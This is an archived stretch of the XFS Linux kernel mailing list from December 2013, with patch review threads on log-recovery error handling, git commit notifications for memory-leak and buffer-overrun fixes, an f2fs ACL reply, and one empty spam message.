Dec 5 16:52:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B052D7F3F for ; Thu, 5 Dec 2013 16:52:04 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 95B55304039; Thu, 5 Dec 2013 14:52:04 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 66CFE4266DC; Thu, 5 Dec 2013 16:52:04 -0600 (CST) Date: Thu, 5 Dec 2013 16:52:04 -0600 From: Ben Myers To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs free the list of recovery items on error. Message-ID: <20131205225204.GQ1935@sgi.com> References: <20131002125110.745269864@sgi.com> <20131002125409.930462395@sgi.com> <20131204205105.GV1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131204205105.GV1935@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Dec 04, 2013 at 02:51:05PM -0600, Ben Myers wrote: > On Wed, Oct 02, 2013 at 07:51:12AM -0500, Mark Tinguely wrote: > > Recovery builds a list of items on the transaction's > > r_itemq head. Normally these items are committed and freed. > > But in the event of a recovery error, these allocations > > are leaked. > > > > If the error occurs during item reordering, then reconstruct > > the r_itemq list before deleting the list to avoid leaking > > the entries that were on one of the temporary lists. > > > > Signed-off-by: Mark Tinguely > > Looks good to me. > Reviewed-by: Ben Myers Applied. From philpott3030@embarqmail.com Thu Dec 5 16:56:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.4 required=5.0 tests=HTML_MESSAGE,MIME_HTML_MOSTLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 249077F3F for ; Thu, 5 Dec 2013 16:56:52 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B229AAC005 for ; Thu, 5 Dec 2013 14:56:51 -0800 (PST) X-ASG-Debug-ID: 1386284210-04cb6c537d552f50001-NocioJ Received: from mailrelay.embarq.synacor.com (mail.centurylink.net [205.219.233.9]) by cuda.sgi.com with ESMTP id mHTh5xm7iu0XjRTp for ; Thu, 05 Dec 2013 14:56:50 -0800 (PST) X-Barracuda-Envelope-From: philpott3030@embarqmail.com X-Barracuda-Apparent-Source-IP: 205.219.233.9 X_CMAE_Category: , , X-CNFS-Analysis: v=2.0 cv=N+ir5hBB c=1 sm=1 a=FKkrIqjQGGEA:10 a=PB3L0nkJJrUA:10 a=1poGYrevpj8A:10 a=nhVEQYUhrNQA:10 a=1oqGTYSLAAAA:8 a=JMTJpf9LuocA:10 a=gv4l6aEeuxxzeCLns_sA:9 a=QEXdDO2ut3YA:10 a=_W_S_7VecoQA:10 a=i4PDXFCCRecA:10 a=Z0vwQnTE3ZwA:10 a=859NpK6DnAJZxRCH8ipABg==:117 X-CM-Score: 0 X-Scanned-by: Cloudmark Authority Engine Authentication-Results: smtp01.agate.dfw.synacor.com smtp.mail=philpott3030@embarqmail.com; spf=neutral; sender-id=neutral Authentication-Results: smtp01.agate.dfw.synacor.com header.from=philpott3030@embarqmail.com; sender-id=neutral Received-SPF: neutral (smtp01.agate.dfw.synacor.com: 10.40.66.2 is neither permitted nor denied by domain of embarqmail.com) Received: from [10.40.66.2] ([10.40.66.2:34934] helo=md59.agate.dfw.synacor.com) by smtp.centurylink.net (envelope-from ) (ecelerity 3.5.1.37854 r(Momo-dev:3.5.1.0)) with ESMTP id 3E/99-04973-BA401A25; Thu, 05 Dec 2013 17:56:43 -0500 Date: Thu, 5 Dec 2013 17:56:43 -0500 (EST) From: mr zh Message-ID: <1825552574.6114668.1386284203113.JavaMail.root@embarqmail.com> Subject: hello friend did you get my proposal??? MIME-Version: 1.0 X-ASG-Orig-Subj: hello friend did you get my proposal??? Content-Type: multipart/alternative; boundary="----=_Part_6114667_796263233.1386284203109" X-Originating-IP: [10.40.0.32] X-Mailer: Zimbra 7.2.2_GA_2852 (ZimbraWebClient - FF3.0 (Win)/7.2.2_GA_2852) X-Barracuda-Connect: mail.centurylink.net[205.219.233.9] X-Barracuda-Start-Time: 1386284210 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_MOSTLY, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142874 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 MIME_HTML_MOSTLY BODY: Multipart message mostly text/html MIME 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; ------=_Part_6114667_796263233.1386284203109 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit ------=_Part_6114667_796263233.1386284203109 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit

------=_Part_6114667_796263233.1386284203109-- From tinguely@sgi.com Thu Dec 5 17:06:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A55D17F3F for ; Thu, 5 Dec 2013 17:06:55 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id 75ABA30407A; Thu, 5 Dec 2013 15:06:52 -0800 (PST) Message-ID: <52A1070C.6080006@sgi.com> Date: Thu, 05 Dec 2013 17:06:52 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: free the efi AIL entry on log recovery failure References: <20131205214054.330817383@sgi.com> <20131205223244.GJ29897@dastard> In-Reply-To: <20131205223244.GJ29897@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/05/13 16:32, Dave Chinner wrote: > On Thu, Dec 05, 2013 at 03:40:07PM -0600, Mark Tinguely wrote: >> If freeing an extent fails during recovery, then the filesystem >> will be forced down with the EFI entry still on the AIL. This >> will result in hanging the function xfs_ail_push_all_sync(). >> >> This patch is similar to the patches that removed the dquot and >> inode in commits 32ce90a and dea9609. >> >> Found by mounting an metadata dump that triggers a >> XFS_WANT_CORRUPTED_RETURN() on log recovery. >> >> Signed-off-by: Mark Tinguely >> --- >> fs/xfs/xfs_log_recover.c | 5 ++++- >> 1 file changed, 4 insertions(+), 1 deletion(-) >> >> Index: b/fs/xfs/xfs_log_recover.c >> =================================================================== >> --- a/fs/xfs/xfs_log_recover.c >> +++ b/fs/xfs/xfs_log_recover.c >> @@ -3668,7 +3668,7 @@ xlog_recover_process_efi( >> extp =&(efip->efi_format.efi_extents[i]); >> error = xfs_free_extent(tp, extp->ext_start, extp->ext_len); >> if (error) >> - goto abort_error; >> + goto free_abort; >> xfs_trans_log_efd_extent(tp, efdp, extp->ext_start, >> extp->ext_len); >> } >> @@ -3677,6 +3677,9 @@ xlog_recover_process_efi( >> error = xfs_trans_commit(tp, 0); >> return error; >> >> +free_abort: >> + set_bit(XFS_EFI_RECOVERED,&efip->efi_flags); >> + xfs_efi_release(efip, efip->efi_format.efi_nextents); >> abort_error: >> xfs_trans_cancel(tp, XFS_TRANS_ABORT); >> return error; > > Why does a failure of xfs_trans_reserve() in this function > not require the XFS_EFI_RECOVERED bit to be set? > > If it does require setting the XFS_EFI_RECOVERED bit (I think it > does), then we unconditionally set that bit in > xlog_recover_process_efi() so it should be pulled up to be the first > thing the function does, not something that is handled in the error > paths. IOWs, we leave this function having guaranteed that we've > pulled the EFI from the AIL on any failure. or not if we move where we remove the entries from the AIL.... > > Bigger picture: if we fail to recover this EFI, we abort the AIL > walk across all the EFIs in the AIL. That means all unrecovered EFIs > get left in the AIL and this will result in hanging the function > xfs_ail_push_all_sync(). IOWs, this patch only fixes the case where > we get an error on the last EFI in the AIL during recovery. > > Hence a larger fix is needed here - if we fail to recover an EFI, we > need to continue to walk the AIL and set the XFS_EFI_RECOVERED bit > on all the EFIs still in the AIL and release them. ...pretty sure the forced shutdown will happen later and the caller, xlog_recover_process_efis(), is already walking the ail with a xfs_ail_cursor. As you mention, there can be more entries, then xlog_recover_process_efis() could continue to use the cursor to the remove the remaining entries from the AIL on error. Thanks for the feedback. --Mark. From bpm@oss.sgi.com Thu Dec 5 17:10:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 9D0A57F4E; Thu, 5 Dec 2013 17:10:33 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. xfs-for-linus-v3.13-rc1-2-13369-gef70160 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: f9fd0135610084abef6867d984e9951c3099950d X-Git-Newrev: ef701600fd26cace9d513ee174688a2b83832126 Message-Id: <20131205231033.9D0A57F4E@oss.sgi.com> Date: Thu, 5 Dec 2013 17:10:32 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated ef70160 xfs: fix memory leak in xfs_dir2_node_removename 2a84108 xfs: free the list of recovery items on error b7d961b xfs: growfs overruns AGFL buffer on V4 filesystems from f9fd0135610084abef6867d984e9951c3099950d (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit ef701600fd26cace9d513ee174688a2b83832126 Author: Mark Tinguely Date: Sat Oct 5 21:48:25 2013 -0500 xfs: fix memory leak in xfs_dir2_node_removename Fix the leak of kernel memory in xfs_dir2_node_removename() when xfs_dir2_leafn_remove() returns an error code. Signed-off-by: Mark Tinguely Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 2a84108fe275f95fbe838b1c92b7c45258dcae5c Author: Mark Tinguely Date: Wed Oct 2 07:51:12 2013 -0500 xfs: free the list of recovery items on error Recovery builds a list of items on the transaction's r_itemq head. Normally these items are committed and freed. But in the event of a recovery error, these allocations are leaked. If the error occurs during item reordering, then reconstruct the r_itemq list before deleting the list to avoid leaking the entries that were on one of the temporary lists. Signed-off-by: Mark Tinguely Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit b7d961b35b3ab69609aeea93f870269cb6e7ba4d Author: Dave Chinner Date: Thu Nov 21 15:41:06 2013 +1100 xfs: growfs overruns AGFL buffer on V4 filesystems This loop in xfs_growfs_data_private() is incorrect for V4 superblocks filesystems: for (bucket = 0; bucket < XFS_AGFL_SIZE(mp); bucket++) agfl->agfl_bno[bucket] = cpu_to_be32(NULLAGBLOCK); For V4 filesystems, we don't have a agfl header structure, and so XFS_AGFL_SIZE() returns an entire sector's worth of entries, which we then index from an offset into the sector. Hence: buffer overrun. This problem was introduced in 3.10 by commit 77c95bba ("xfs: add CRC checks to the AGFL") which changed the AGFL structure but failed to update the growfs code to handle the different structures. Fix it by using the correct offset into the buffer for both V4 and V5 filesystems. Cc: Signed-off-by: Dave Chinner Reviewed-by: Jie Liu Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_dir2_node.c | 26 +++++++++++++------------- fs/xfs/xfs_fsops.c | 6 +++++- fs/xfs/xfs_log_recover.c | 17 ++++++++++++++--- 3 files changed, 32 insertions(+), 17 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Thu Dec 5 17:10:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 0BA9E7F55; Thu, 5 Dec 2013 17:10:49 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.13-rc1-2-13369-gef70160 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: f9fd0135610084abef6867d984e9951c3099950d X-Git-Newrev: ef701600fd26cace9d513ee174688a2b83832126 Message-Id: <20131205231049.0BA9E7F55@oss.sgi.com> Date: Thu, 5 Dec 2013 17:10:48 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated ef70160 xfs: fix memory leak in xfs_dir2_node_removename 2a84108 xfs: free the list of recovery items on error b7d961b xfs: growfs overruns AGFL buffer on V4 filesystems from f9fd0135610084abef6867d984e9951c3099950d (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit ef701600fd26cace9d513ee174688a2b83832126 Author: Mark Tinguely Date: Sat Oct 5 21:48:25 2013 -0500 xfs: fix memory leak in xfs_dir2_node_removename Fix the leak of kernel memory in xfs_dir2_node_removename() when xfs_dir2_leafn_remove() returns an error code. Signed-off-by: Mark Tinguely Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 2a84108fe275f95fbe838b1c92b7c45258dcae5c Author: Mark Tinguely Date: Wed Oct 2 07:51:12 2013 -0500 xfs: free the list of recovery items on error Recovery builds a list of items on the transaction's r_itemq head. Normally these items are committed and freed. But in the event of a recovery error, these allocations are leaked. If the error occurs during item reordering, then reconstruct the r_itemq list before deleting the list to avoid leaking the entries that were on one of the temporary lists. Signed-off-by: Mark Tinguely Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit b7d961b35b3ab69609aeea93f870269cb6e7ba4d Author: Dave Chinner Date: Thu Nov 21 15:41:06 2013 +1100 xfs: growfs overruns AGFL buffer on V4 filesystems This loop in xfs_growfs_data_private() is incorrect for V4 superblocks filesystems: for (bucket = 0; bucket < XFS_AGFL_SIZE(mp); bucket++) agfl->agfl_bno[bucket] = cpu_to_be32(NULLAGBLOCK); For V4 filesystems, we don't have a agfl header structure, and so XFS_AGFL_SIZE() returns an entire sector's worth of entries, which we then index from an offset into the sector. Hence: buffer overrun. This problem was introduced in 3.10 by commit 77c95bba ("xfs: add CRC checks to the AGFL") which changed the AGFL structure but failed to update the growfs code to handle the different structures. Fix it by using the correct offset into the buffer for both V4 and V5 filesystems. Cc: Signed-off-by: Dave Chinner Reviewed-by: Jie Liu Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_dir2_node.c | 26 +++++++++++++------------- fs/xfs/xfs_fsops.c | 6 +++++- fs/xfs/xfs_log_recover.c | 17 ++++++++++++++--- 3 files changed, 32 insertions(+), 17 deletions(-) hooks/post-receive -- XFS development tree From david@fromorbit.com Thu Dec 5 17:54:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0AA767F54 for ; Thu, 5 Dec 2013 17:54:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7E538AC005 for ; Thu, 5 Dec 2013 15:54:40 -0800 (PST) X-ASG-Debug-ID: 1386287678-04cbb04166563d60001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 0o4UOntOEHqxQ4TD for ; Thu, 05 Dec 2013 15:54:38 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtIHAF0RoVJ5LHyk/2dsb2JhbABZgwe0LIVPgR8XdIIlAQEEAScTHCMFCwgDGAklDwUlAyETh3wFwTIXFo4GZAeEMwOYE5IUgz0ogSw Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 06 Dec 2013 10:24:37 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Voikb-0008JX-D8; Fri, 06 Dec 2013 10:54:33 +1100 Date: Fri, 6 Dec 2013 10:54:33 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: free the efi AIL entry on log recovery failure Message-ID: <20131205235433.GR10988@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: free the efi AIL entry on log recovery failure References: <20131205214054.330817383@sgi.com> <20131205223244.GJ29897@dastard> <52A1070C.6080006@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A1070C.6080006@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386287678 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142875 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Thu, Dec 05, 2013 at 05:06:52PM -0600, Mark Tinguely wrote: > On 12/05/13 16:32, Dave Chinner wrote: > >On Thu, Dec 05, 2013 at 03:40:07PM -0600, Mark Tinguely wrote: > >>If freeing an extent fails during recovery, then the filesystem > >>will be forced down with the EFI entry still on the AIL. This > >>will result in hanging the function xfs_ail_push_all_sync(). > >> > >>This patch is similar to the patches that removed the dquot and > >>inode in commits 32ce90a and dea9609. > >> > >>Found by mounting an metadata dump that triggers a > >>XFS_WANT_CORRUPTED_RETURN() on log recovery. > >> > >>Signed-off-by: Mark Tinguely > >>--- > >> fs/xfs/xfs_log_recover.c | 5 ++++- > >> 1 file changed, 4 insertions(+), 1 deletion(-) > >> > >>Index: b/fs/xfs/xfs_log_recover.c > >>=================================================================== > >>--- a/fs/xfs/xfs_log_recover.c > >>+++ b/fs/xfs/xfs_log_recover.c > >>@@ -3668,7 +3668,7 @@ xlog_recover_process_efi( > >> extp =&(efip->efi_format.efi_extents[i]); > >> error = xfs_free_extent(tp, extp->ext_start, extp->ext_len); > >> if (error) > >>- goto abort_error; > >>+ goto free_abort; > >> xfs_trans_log_efd_extent(tp, efdp, extp->ext_start, > >> extp->ext_len); > >> } > >>@@ -3677,6 +3677,9 @@ xlog_recover_process_efi( > >> error = xfs_trans_commit(tp, 0); > >> return error; > >> > >>+free_abort: > >>+ set_bit(XFS_EFI_RECOVERED,&efip->efi_flags); > >>+ xfs_efi_release(efip, efip->efi_format.efi_nextents); > >> abort_error: > >> xfs_trans_cancel(tp, XFS_TRANS_ABORT); > >> return error; > > > >Why does a failure of xfs_trans_reserve() in this function > >not require the XFS_EFI_RECOVERED bit to be set? > > > >If it does require setting the XFS_EFI_RECOVERED bit (I think it > >does), then we unconditionally set that bit in > >xlog_recover_process_efi() so it should be pulled up to be the first > >thing the function does, not something that is handled in the error > >paths. IOWs, we leave this function having guaranteed that we've > >pulled the EFI from the AIL on any failure. > > or not if we move where we remove the entries from the AIL.... Sorry, I don't understand what this means. Can you explain in more detail? > >Bigger picture: if we fail to recover this EFI, we abort the AIL > >walk across all the EFIs in the AIL. That means all unrecovered EFIs > >get left in the AIL and this will result in hanging the function > >xfs_ail_push_all_sync(). IOWs, this patch only fixes the case where > >we get an error on the last EFI in the AIL during recovery. > > > >Hence a larger fix is needed here - if we fail to recover an EFI, we > >need to continue to walk the AIL and set the XFS_EFI_RECOVERED bit > >on all the EFIs still in the AIL and release them. > > ...pretty sure the forced shutdown will happen later and the caller, > xlog_recover_process_efis(), The forced shutdown occurs within the context of the xlog_recover_process_efis() i.e. immediately on detection of the corruption error in xfs_free_extent(). > is already walking the ail with a > xfs_ail_cursor. As you mention, there can be more entries, then > xlog_recover_process_efis() could continue to use the cursor to the > remove the remaining entries from the AIL on error. I'm not sure that will be sufficient, because the EFIs that are in the AIL due to references from the EFD are relying on the EFD to take the last reference away from the EFI and hence free it. When the shutdown occurs, the EFDs are aborted via ->iop_committed() after the XFS_LI_ABORTED flag is set on the EFD log items and this happens: STATIC xfs_lsn_t xfs_efd_item_committed( struct xfs_log_item *lip, xfs_lsn_t lsn) { struct xfs_efd_log_item *efdp = EFD_ITEM(lip); /* * If we got a log I/O error, it's always the case that the LR with the * EFI got unpinned and freed before the EFD got aborted. */ if (!(lip->li_flags & XFS_LI_ABORTED)) xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents); xfs_efd_item_free(efdp); return (xfs_lsn_t)-1; } i.e. the EFIs don't get released, and so continue to live in the AIL even though they have the XFS_EFI_RECOVERED bit set on them. Hence you have to walk the entire AIL again, releasing all EFIs that have the XFS_EFI_RECOVERED set, and for those that don't have it set it needs to be set and the EFI released.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From jaegeuk.kim@samsung.com Thu Dec 5 19:38:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=MIME_QP_LONG_LINE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5B8357F54 for ; Thu, 5 Dec 2013 19:38:42 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 37C7230408A for ; Thu, 5 Dec 2013 17:38:38 -0800 (PST) X-ASG-Debug-ID: 1386293915-04cbb04166568c70001-NocioJ Received: from mailout4.samsung.com (mailout4.samsung.com [203.254.224.34]) by cuda.sgi.com with ESMTP id zLZ82RFAFmCt92Of (version=TLSv1 cipher=RC4-MD5 bits=128 verify=NO) for ; Thu, 05 Dec 2013 17:38:37 -0800 (PST) X-Barracuda-Envelope-From: jaegeuk.kim@samsung.com X-Barracuda-Apparent-Source-IP: 203.254.224.34 X-Barracuda-IPDD: Level2 [samsung.com/203.254.224.34] Received: from epcpsbgr2.samsung.com (u142.gpu120.samsung.co.kr [203.254.230.142]) by mailout4.samsung.com (Oracle Communications Messaging Server 7u4-24.01 (7.0.4.24.0) 64bit (built Nov 17 2011)) with ESMTP id <0MXD00NXW38B1FD0@mailout4.samsung.com> for xfs@oss.sgi.com; Fri, 06 Dec 2013 10:38:35 +0900 (KST) X-Barracuda-IPDD: Level2 [samsung.com/203.254.224.34] X-Barracuda-IPDD: Level2 [samsung.com/203.254.224.34] X-Barracuda-IPDD: Level2 [samsung.com/203.254.224.34] X-Barracuda-IPDD: Level2 [samsung.com/203.254.224.34] X-Barracuda-IPDD: Level2 [samsung.com/203.254.224.34] X-Barracuda-IPDD: Level2 [samsung.com/203.254.224.34] Received: from epcpsbgm1.samsung.com ( [203.254.230.51]) by epcpsbgr2.samsung.com (EPCPMTA) with SMTP id 7E.EF.15154.A9A21A25; Fri, 06 Dec 2013 10:38:34 +0900 (KST) X-AuditID: cbfee68e-b7fee6d000003b32-1d-52a12a9aa72d Received: from epmmp2 ( [203.254.227.17]) by epcpsbgm1.samsung.com (EPCPMTA) with SMTP id A6.E6.17171.A9A21A25; Fri, 06 Dec 2013 10:38:34 +0900 (KST) MIME-version: 1.0 Content-type: text/plain; charset=UTF-8 Content-transfer-encoding: quoted-printable Received: from [12.52.195.98] by mmp2.samsung.com (Oracle Communications Messaging Server 7u4-24.01(7.0.4.24.0) 64bit (built Nov 17 2011)) with ESMTPA id <0MXD00B3F38AEL00@mmp2.samsung.com>; Fri, 06 Dec 2013 10:38:34 +0900 (KST) Message-id: <1386293854.2101.8.camel@kjgkr> Subject: Re: [PATCH 09/18] f2fs: use generic posix ACL infrastructure From: Jaegeuk Kim X-ASG-Orig-Subj: Re: [PATCH 09/18] f2fs: use generic posix ACL infrastructure Reply-To: jaegeuk.kim@samsung.com To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Date: Fri, 06 Dec 2013 10:37:34 +0900 In-reply-to: <20131201120655.205206019@bombadil.infradead.org> References: <20131201115903.910559036@bombadil.infradead.org> <20131201120655.205206019@bombadil.infradead.org> Organization: Samsung X-Mailer: Evolution 3.2.3-0ubuntu6 X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFprPKsWRmVeSWpSXmKPExsVy+t8zY91ZWguDDNY9trQ4ufoxm8XpCYuY LC5+bGWyOHnuG4vFpccr2C1mzrvDZnFpkbvFnr0nWSx2Ny1jt7hw4DSrxbkzE9ksZm9dwWxx /u9xVotFfbcYHfg8nl4M8ti8Qstj85J6j90LPjN5rL6wldHj/b6rbB7rt1xl8fi8Sc5j05O3 TAGcUVw2Kak5mWWpRfp2CVwZv242sRS896o4enomUwPjHpsuRk4OCQETiad/OhghbDGJC/fW s3UxcnEICSxjlFh0soMdpujv1AusEInpjBLPt/9hA0nwCghK/Jh8jwXEZhZQl5g0bxFzFyMH kC0i8b1PFyKsLbFs4WtmEFtI4BWjxKVHWhCt2hJLXx0CGyMs4CrxcOsRJpBWNqD45v0GEOWK Em/332UFsUUENCVuLW9nBjmBWWAKs8SDmXPAZrIIqEpcXPQW7AFOATuJB3/Xs0M0F0rMXXIF zOYXEJU4vHA7M8QvShK72zvZQQZJCOzhkPj9bAsLxCABiW+TD7GAHCEhICux6QBUvaTEwRU3 WCYwSs5C8vEsJB/PQvh4FpKPFzCyrGIUTS1ILihOSi8y0itOzC0uzUvXS87P3cQISRx9Oxhv HrA+xJgMtH0is5Rocj4w8eSVxBsamxlZmJqYGhuZW5qRJqwkzrvoYVKQkEB6YklqdmpqQWpR fFFpTmrxIUYmDk6pBkbdcoeN4nq1MrLcOhXh0dM5pbczB87bHrpc3vGszYGiub4ynnO/JX49 daA+ukyF4fVpO4Ow5bPmtYU9s5y6Ieja2fVabzx1PRbavIrwcjSVvH34Sc6dU4Fxa+zbCiKu tt1ZNLfQi1/txXcv6UDZuu833tRVx2g9yg7quW30TbtTNc74JHPOASWW4oxEQy3mouJEADSG nVQyAwAA X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrMKsWRmVeSWpSXmKPExsVy+t9jQd1ZWguDDG4/NrI4ufoxm8XpCYuY LC5+bGWyOHnuG4vFpccr2C1mzrvDZnFpkbvFnr0nWSx2Ny1jt7hw4DSrxbkzE9ksZm9dwWxx /u9xVotFfbcYHfg8nl4M8ti8Qstj85J6j90LPjN5rL6wldHj/b6rbB7rt1xl8fi8Sc5j05O3 TAGcUQ2MNhmpiSmpRQqpecn5KZl56bZK3sHxzvGmZgaGuoaWFuZKCnmJuam2Si4+AbpumTlA pysplCXmlAKFAhKLi5X07TBNCA1x07WAaYzQ9Q0JgusxMkADCesYM17camMuuOhZ0XAxt4Fx nnUXIyeHhICJxN+pF1ghbDGJC/fWs3UxcnEICUxnlHi+/Q8bSIJXQFDix+R7LF2MHBzMAvIS Ry5lg4SZBdQlJs1bxAxiCwm8YpS49EgLolxbYumrQ2CtwgKuEg+3HmECaWUDim/ebwBRrijx 